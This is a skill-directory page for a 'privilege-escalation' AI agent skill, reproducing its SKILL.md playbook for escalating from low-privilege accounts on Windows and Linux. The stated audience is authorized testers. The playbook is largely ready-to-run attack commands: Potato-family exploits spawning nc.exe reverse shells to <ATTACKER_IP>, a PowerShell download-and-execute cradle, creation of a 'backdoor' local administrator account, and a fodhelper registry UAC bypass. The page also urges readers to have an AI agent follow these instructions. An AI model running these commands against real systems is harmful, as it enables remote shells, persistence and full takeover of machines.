Skip to content
Skillpedia
Security6.5k Β· #14138

privilege-escalation

What it does

This knowledge base covers how a low-privilege account can gain higher rights on Windows and Linux systems. It is for defenders and authorized testers who review privilege settings.

When to use it

  • βœ“When an authorized test starts from a low-privilege account and needs to find the path to admin rights.
  • βœ“When a team reviews Windows service accounts that hold impersonation rights.
  • βœ“When a Linux team wants to check its sudo, special permission files and kernel versions.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œWe have a low-privilege account on one of our Windows servers. Can you check whether it could reach admin rights, within our test scope?”

5 new skills a week. 1 minute to read.

How it works

The agent runs an enumeration of privilege settings first, then checks the most likely paths such as service permissions and impersonation rights, and reports the ones that need fixing.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Privilege Escalation Knowledge Base

Privilege escalation raises access from a low-privilege foothold to SYSTEM/root or administrative context. Windows and Linux have fundamentally different escalation paths. Always enumerate before exploiting β€” automated tools identify the fastest route.

Quick Reference

# Windows β€” GodPotato (service account β†’ SYSTEM)
GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\proof.txt"

# Windows β€” PrintSpoofer (service account β†’ SYSTEM)
PrintSpoofer.exe -i -c cmd

# Windows β€” winPEAS automated enumeration
winPEASx64.exe servicesinfo applicationsinfo > C:\Windows\Temp\winpeas.txt

# Linux β€” linPEAS automated enumeration
./linpeas.sh -a | tee linpeas_<TARGET>.txt

# Linux β€” find SUID binaries
find / -perm -4000 -type f 2>/dev/null | tee suid_<TARGET>.txt

# Linux β€” check sudo privileges
sudo -l

MITRE ATT&CK Mapping

Technique ID Name Tools
T1134.001 Token Impersonation/Theft GodPotato, PrintSpoofer, SigmaPotato
T1548.002 Bypass UAC fodhelper.exe, eventvwr.exe, CMSTPLUA COM
T1574.001 DLL Search Order Hijacking Custom DLL placement
T1068 Exploitation for Privilege Escalation Kernel exploits, linux-exploit-suggester
T1053.003 Scheduled Task/Cron Writable cron scripts, PATH injection

1. Windows Token Impersonation β€” Potato Family

GodPotato (Most Versatile)

# Execute command as SYSTEM (DCOM-based token impersonation)
GodPotato.exe -cmd "cmd /c whoami"

# Reverse shell as SYSTEM
GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

# Add local admin user
GodPotato.exe -cmd "net user backdoor P@ssw0rd123 /add && net localgroup administrators backdoor /add"

# Execute PowerShell payload
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"

GodPotato Details:

  • Works on Windows 8 through 11, Server 2012 through 2022
  • Exploits DCOM (Distributed COM) OXID resolver
  • Requires: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
  • Common contexts: IIS AppPool, SQL Server, service accounts

PrintSpoofer (Print Spooler Named Pipe)

# Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd

# Execute specific command as SYSTEM
PrintSpoofer.exe -c "cmd /c whoami > C:\Windows\Temp\proof.txt"

# Reverse shell
PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe <ATTACKER_IP> 4444 -e cmd.exe"

# With PowerShell
PrintSpoofer.exe -i -c powershell.exe

PrintSpoofer Details:

  • Works on Windows 10, Server 2016 and 2019
  • Exploits Print Spooler service named pipe impersonation
  • Requires: SeImpersonatePrivilege
  • May fail if Print Spooler service is disabled (hardened environments)

SigmaPotato (Extended GodPotato Fork)

# Standard SYSTEM execution
SigmaPotato.exe --revshell -l <ATTACKER_IP> -p 4444

# Execute arbitrary command
SigmaPotato.exe "cmd /c whoami"

# Uses .NET reflection for in-memory execution
SigmaPotato.exe "powershell -ep bypass -c Get-Process"

SigmaPotato Details:

  • Extended OS support beyond GodPotato
  • Uses .NET reflection for flexibility
  • Same prerequisites: SeImpersonatePrivilege

Choosing the Right Potato

Tool OS Range Method Best For
GodPotato Win 8-11, 2012-2022 DCOM OXID Default choice, widest support
PrintSpoofer Win 10, 2016-2019 Print Spooler pipe When Spooler is running
SigmaPotato Extended range DCOM + .NET reflection GodPotato alternative
JuicyPotato Win 7-10, 2008-2016 DCOM BITS Legacy systems only
RoguePotato Win 10 1809+, 2019 OXID + RPC When OXID resolver patched

Check Prerequisites

# Verify you have impersonation privileges
whoami /priv
# Look for: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

# Common service accounts with SeImpersonatePrivilege:
# - IIS AppPool\DefaultAppPool
# - NT Service\MSSQLSERVER
# - Local Service / Network Service (some configs)

2. UAC Bypass Techniques

fodhelper.exe Bypass

# Set registry key to execute payload when fodhelper runs
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "C:\Windows\Temp\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f

# Trigger UAC bypass
fodhelper.exe

# Cleanup
reg delete HKCU\Software\Classes\ms-settings /f

FAQ

Why enumerate first?

The guide says automated checks reveal the quickest route, so testers do not guess.

What is token impersonation?

It is when a service account can take over the rights of another login session, which the guide treats as a common risk.

How do defenders reduce it?

Limit impersonation rights, patch systems and remove unneeded special permissions.

Details

Original description by the author

Host privilege escalation β€” Windows token impersonation, UAC bypass, service abuse, DLL hijacking, Linux SUID/sudo/kernel exploits, automated enumeration.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#14138
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills